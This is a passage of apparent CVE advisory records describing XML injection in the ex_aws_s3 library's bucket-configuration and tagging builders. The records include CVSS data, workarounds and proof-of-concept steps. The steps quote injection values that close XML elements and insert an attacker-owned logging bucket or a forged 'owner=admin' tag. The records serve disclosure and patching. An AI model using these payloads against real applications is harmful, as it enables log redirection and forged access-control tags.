"value": "XML Injection vulnerability in ex-aws ex_aws_s3 (`ExAws.S3` module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files `lib/ex_aws/s3.ex` and program routines `ExAws.S3.put_bucket_logging/2`, `ExAws.S3.put_bucket_notification/2`, `ExAws.S3.put_bucket_replication/2`, `ExAws.S3.put_bucket_website/2`.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own `escape_xml_string/1` helper. A value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions `put_bucket_logging/2`, `put_bucket_notification/2`, `put_bucket_replication/2`, and `put_bucket_website/2`.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own escape_xml_string/1 helper. A value containing XML metacharacters (\u003c, \u003e, \u0026, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML/structure injection vulnerability in the bucket-configuration body builders of \u003ccode\u003eex_aws_s3\u003c/code\u003e. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/\u003ccode\u003eAccount\u003c/code\u003e, logging target, or website redirect \u003ccode\u003eHostName\u003c/code\u003e) into a request the application signs and sends to AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of `ex_aws_s3`. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/`Account`, logging target, or website redirect `HostName`) into a request the application signs and sends to AWS."
}
],
"value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of ex_aws_s3. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/Account, logging target, or website redirect HostName) into a request the application signs and sends to AWS."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:21.465Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-cf93-7gwh-6w98"
},
{
"name": "EEF CNA record for CVE-2026-63581",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63581.html"
},
{
"name": "OSV record EEF-CVE-2026-63581",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63581"
},
{
"name": "Introducing commit 7d6f5cd in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/7d6f5cde90aaea36f9a059de874d1420da20eef2"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_s3 XML injection in bucket-configuration builders",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e).\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\u0027`, `\"`)."
}
],
"value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003c, \u003e, \u0026, \u0027, \")."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application exposes \u003ccode\u003ePOST /configure-logging\u003c/code\u003e and forwards the tenant\u0027s form values to \u003ccode\u003eExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker submits \u003ccode\u003etarget_bucket\u003c/code\u003e as \u003ccode\u003etenant-logs\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;attacker-exfil-bucket\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe builder interpolates it unescaped, and its own trailing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e closes the injected element, so the body stays well-formed.\u003c/li\u003e\n\u003cli\u003eParsing the body yields two \u003ccode\u003eTargetBucket\u003c/code\u003e nodes, \u003ccode\u003etenant-logs\u003c/code\u003e and \u003ccode\u003eattacker-exfil-bucket\u003c/code\u003e, in the configuration the application signs and sends to AWS.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. A multi-tenant application exposes `POST /configure-logging` and forwards the tenant\u0027s form values to `ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)`.\n2. The attacker submits `target_bucket` as `tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket`.\n3. The builder interpolates it unescaped, and its own trailing `\u003c/TargetBucket\u003e` closes the injected element, so the body stays well-formed.\n4. Parsing the body yields two `TargetBucket` nodes, `tenant-logs` and `attacker-exfil-bucket`, in the configuration the application signs and sends to AWS."
}
],
"value": "* A multi-tenant application exposes POST /configure-logging and forwards the tenant\u0027s form values to ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket).\n* The attacker submits target_bucket as tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket.\n* The builder interpolates it unescaped, and its own trailing \u003c/TargetBucket\u003e closes the injected element, so the body stays well-formed.\n* Parsing the body yields two TargetBucket nodes, tenant-logs and attacker-exfil-bucket, in the configuration the application signs and sends to AWS."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e The bucket-configuration body builders in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. This covers \u003ccode\u003eput_bucket_logging\u003c/code\u003e (\u003ccode\u003etarget_bucket\u003c/code\u003e, \u003ccode\u003etarget_prefix\u003c/code\u003e), the notification builders (topic, Lambda and queue ARNs, \u003ccode\u003eid\u003c/code\u003e, events, filter rule names and values), the replication builders (\u003ccode\u003erole\u003c/code\u003e, rule \u003ccode\u003eid\u003c/code\u003e and \u003ccode\u003estatus\u003c/code\u003e, filter prefix, tag keys and values, destination \u003ccode\u003ebucket\u003c/code\u003e, \u003ccode\u003estorage_class\u003c/code\u003e, \u003ccode\u003eaccount\u003c/code\u003e, \u003ccode\u003eowner\u003c/code\u003e) and the website builders (\u003ccode\u003ehost_name\u003c/code\u003e, \u003ccode\u003eprotocol\u003c/code\u003e, \u003ccode\u003eindex_doc\u003c/code\u003e, \u003ccode\u003eerror_doc\u003c/code\u003e and every routing-rule field).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e In \u003ccode\u003eput_bucket_logging\u003c/code\u003e, for example, the body contains \u003ccode\u003e\u0026lt;TargetBucket\u0026gt;#{target_bucket}\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e. A value containing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;...\u003c/code\u003e closes the legitimate element early and opens a second one inside the same \u003ccode\u003e\u0026lt;LoggingEnabled\u0026gt;\u003c/code\u003e block.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Well-formed result.\u003c/strong\u003e The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** The bucket-configuration body builders in `lib/ex_aws/s3.ex` interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s `escape_xml_string/1` helper. This covers `put_bucket_logging` (`target_bucket`, `target_prefix`), the notification builders (topic, Lambda and queue ARNs, `id`, events, filter rule names and values), the replication builders (`role`, rule `id` and `status`, filter prefix, tag keys and values, destination `bucket`, `storage_class`, `account`, `owner`) and the website builders (`host_name`, `protocol`, `index_doc`, `error_doc` and every routing-rule field).\n\n**2. Element break-out.** In `put_bucket_logging`, for example, the body contains `\u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e`. A value containing `\u003c/TargetBucket\u003e\u003cTargetBucket\u003e...` closes the legitimate element early and opens a second one inside the same `\u003cLoggingEnabled\u003e` block.\n\n**3. Well-formed result.** The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
}
],
"value": "1. Unescaped interpolation. The bucket-configuration body builders in lib/ex_aws/s3.ex interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s escape_xml_string/1 helper. This covers put_bucket_logging (target_bucket, target_prefix), the notification builders (topic, Lambda and queue ARNs, id, events, filter rule names and values), the replication builders (role, rule id and status, filter prefix, tag keys and values, destination bucket, storage_class, account, owner) and the website builders (host_name, protocol, index_doc, error_doc and every routing-rule field).\n\n2. Element break-out. In put_bucket_logging, for example, the body contains \u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e. A value containing \u003c/TargetBucket\u003e\u003cTargetBucket\u003e... closes the legitimate element early and opens a second one inside the same \u003cLoggingEnabled\u003e block.\n\n3. Well-formed result. The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63581",
"datePublished": "2026-11-24T14:15:21.465Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:15:21.465Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62273 (GCVE-0-2026-62273)
Vulnerability from nvd – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.
ExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the <TagSet> request body by interpolating tag keys and values directly into <Key> and <Value> elements via to_string/1, without applying the module's existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen <Tag> entries. For example, a tag value of blue</Value></Tag><Tag><Key>owner</Key><Value>admin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.
This issue affects ex_aws_s3: from 2.0.2 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62273.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62273 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/c6331b… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "c6331b84c80f09d24d4a25cf05d8604541ce162e",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:58.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e request body by interpolating tag keys and values directly into \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e elements via \u003ccode\u003eto_string/1\u003c/code\u003e, without applying the module\u0027s existing \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper (which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e entries. For example, a tag value of \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag\u003c/code\u003e) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\n`ExAws.S3.put_object_tagging/4` and `ExAws.S3.put_bucket_tagging/2` in `lib/ex_aws/s3.ex` build the `\u003cTagSet\u003e` request body by interpolating tag keys and values directly into `\u003cKey\u003e` and `\u003cValue\u003e` elements via `to_string/1`, without applying the module\u0027s existing `escape_xml_string/1` helper (which `delete_multiple_objects` already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen `\u003cTag\u003e` entries. For example, a tag value of `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag`) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\nExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the \u003cTagSet\u003e request body by interpolating tag keys and values directly into \u003cKey\u003e and \u003cValue\u003e elements via to_string/1, without applying the module\u0027s existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003cTag\u003e entries. For example, a tag value of blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML injection vulnerability. It affects any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and passes user-influenced data as tag keys or values to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e. An attacker who controls part of a tag key or value can inject additional \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML injection vulnerability. It affects any application that uses `ex_aws_s3` and passes user-influenced data as tag keys or values to `put_object_tagging/4` or `put_bucket_tagging/2`. An attacker who controls part of a tag key or value can inject additional `\u003cTag\u003e` elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
}
],
"value": "This is an XML injection vulnerability. It affects any application that uses ex_aws_s3 and passes user-influenced data as tag keys or values to put_object_tagging/4 or put_bucket_tagging/2. An attacker who controls part of a tag key or value can inject additional \u003cTag\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:59.569Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-979q-5hj9-vvvv"
},
{
"name": "EEF CNA record for CVE-2026-62273",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62273.html"
},
{
"name": "OSV record EEF-CVE-2026-62273",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62273"
},
{
"name": "Introducing commit c6331b8 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/c6331b84c80f09d24d4a25cf05d8604541ce162e"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore passing user-influenced data to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e, validate and reject any tag key or value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e), or restrict tag keys and values to an allowlisted character set.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before passing user-influenced data to `put_object_tagging/4` or `put_bucket_tagging/2`, validate and reject any tag key or value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\"`, `\u0027`), or restrict tag keys and values to an allowlisted character set."
}
],
"value": "Before passing user-influenced data to put_object_tagging/4 or put_bucket_tagging/2, validate and reject any tag key or value containing XML metacharacters (\u003c, \u003e, \u0026, \", \u0027), or restrict tag keys and values to an allowlisted character set."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application forwards a user-supplied tag value: \u003ccode\u003eExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the value \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eput_object_tagging/4\u003c/code\u003e interpolates it into the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e body without escaping.\u003c/li\u003e\n\u003cli\u003eThe request body S3 receives contains two \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements: \u003ccode\u003ecustomer=blue\u003c/code\u003e and the forged \u003ccode\u003eowner=admin\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application forwards a user-supplied tag value: `ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request()`.\n2. The attacker supplies the value `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin`.\n3. `put_object_tagging/4` interpolates it into the `\u003cTagSet\u003e` body without escaping.\n4. The request body S3 receives contains two `\u003cTag\u003e` elements: `customer=blue` and the forged `owner=admin`."
}
],
"value": "* An application forwards a user-supplied tag value: ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request().\n* The attacker supplies the value blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin.\n* put_object_tagging/4 interpolates it into the \u003cTagSet\u003e body without escaping.\n* The request body S3 receives contains two \u003cTag\u003e elements: customer=blue and the forged owner=admin."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
